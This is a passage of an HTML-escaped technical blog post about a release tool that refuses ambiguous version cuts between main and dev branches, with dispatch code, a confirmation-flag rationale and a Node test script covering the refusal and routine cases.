&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tag &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (target.via &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;dispatch-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    dispatchRelease&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, target.version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tag, targetVersion: target.version, via: target.via };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  dispatchRelease&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;release-branch&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, target.version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tag, targetVersion: target.version, via: target.via };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;const tag&lt;/code&gt; line is the property worth naming. The thing you dispatch and
the thing you then verify have to come from one value, or a run can succeed at
proving the wrong artifact exists.&lt;/p&gt;
&lt;h2&gt;Make the escape hatch a confirmation, not a bypass&lt;/h2&gt;
&lt;p&gt;A refusal that cannot be overridden becomes a refusal people work around, so
&lt;code&gt;--version&lt;/code&gt; exists. The design constraint is that it must never be able to
release something that is not there.&lt;/p&gt;
&lt;p&gt;That is why the flag is checked against the status rather than trusted:
&lt;code&gt;--version 0.2.1&lt;/code&gt; is accepted only because 0.2.1 is genuinely on main.
&lt;code&gt;--version 0.3.0&lt;/code&gt; is refused even though 0.3.0 is a real version on a real
branch, because a dispatch on main cannot cut it. There is no value of the flag
that produces a release of something absent from the branch being dispatched.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://clig.dev/&quot;&gt;Command Line Interface Guidelines&lt;/a&gt; reach the same place
from the usability side. Their advice for severe actions is to make confirmation
hard to do by accident, “such as the name of the thing they’re deleting”, and
they suggest a scriptable form: “Let them alternatively pass a flag such as
&lt;code&gt;--confirm=&amp;quot;name-of-thing&amp;quot;&lt;/code&gt;”. A version number is exactly that. Typing it means
you looked.&lt;/p&gt;
&lt;h2&gt;Run the cases&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readStatus &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; readCollapsed } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./status.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readStatus } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./status2.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { cut, calls, reset } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./cut.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The case that bites: main has an untagged bump AND dev carries something&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// higher. Both facts are true at once.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; AMBIGUOUS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;widget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lastTag: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.1.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnMain: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnDev: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.3.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; collapsed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readCollapsed&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(AMBIGUOUS);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;collapsed :&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(collapsed));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(collapsed.state, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;  -&gt; one state string, and nothing in it mentions 0.3.0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(AMBIGUOUS);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;with fact :&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ state: status.state, devAhead: status.devAhead }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;  blocker :&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, status.blockers[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].id, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, status.blockers[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].detail, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 1. Unconfirmed: refuse, and name both candidates.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;reset&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; refused &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(refused.ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;calls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;nothing irreversible may run on an ambiguous target&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;unconfirmed cut -&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, refused.error, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 2. Confirmed with the version that IS on main: allowed.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;reset&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; confirmed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, { version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;cut --version 0.2.1 -&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(confirmed));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;calls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(), [{ ref: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 3. Confirmed with dev&apos;s version: still refused, because a dispatch on main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//    cannot cut a version that is not on main. The flag is not a bypass.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;reset&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; wrong &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, { version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.3.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(wrong.ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;calls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;cut --version 0.3.0 -&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, wrong.error);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 4. A version on neither branch is refused too.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;reset&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(status, { version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;9.9.9&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }).ok, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;calls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 5. The routine case still works untouched: dev ahead, but main is tagged, so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//    no fast path is armed and no blocker is raised.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; routine &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;widget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lastTag: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnMain: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnDev: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.3.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(routine.state, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;bump-on-dev-unpromoted&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(routine.devAhead, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the fact is still reported&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(routine.blockers.length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;but a routine state is never flagged&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;routine dev-ahead:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, routine.state, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;| blockers:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, routine.blockers.length);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 6. The sibling: a component that has never been released reaches the same&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//    state by a different route, and must still be caught.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; firstEver &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;widget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lastTag: null, versionOnMain: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.1.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnDev: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(firstEver.state, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;untagged-bump-on-main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(firstEver.blockers.length, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a first release is not exempt&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
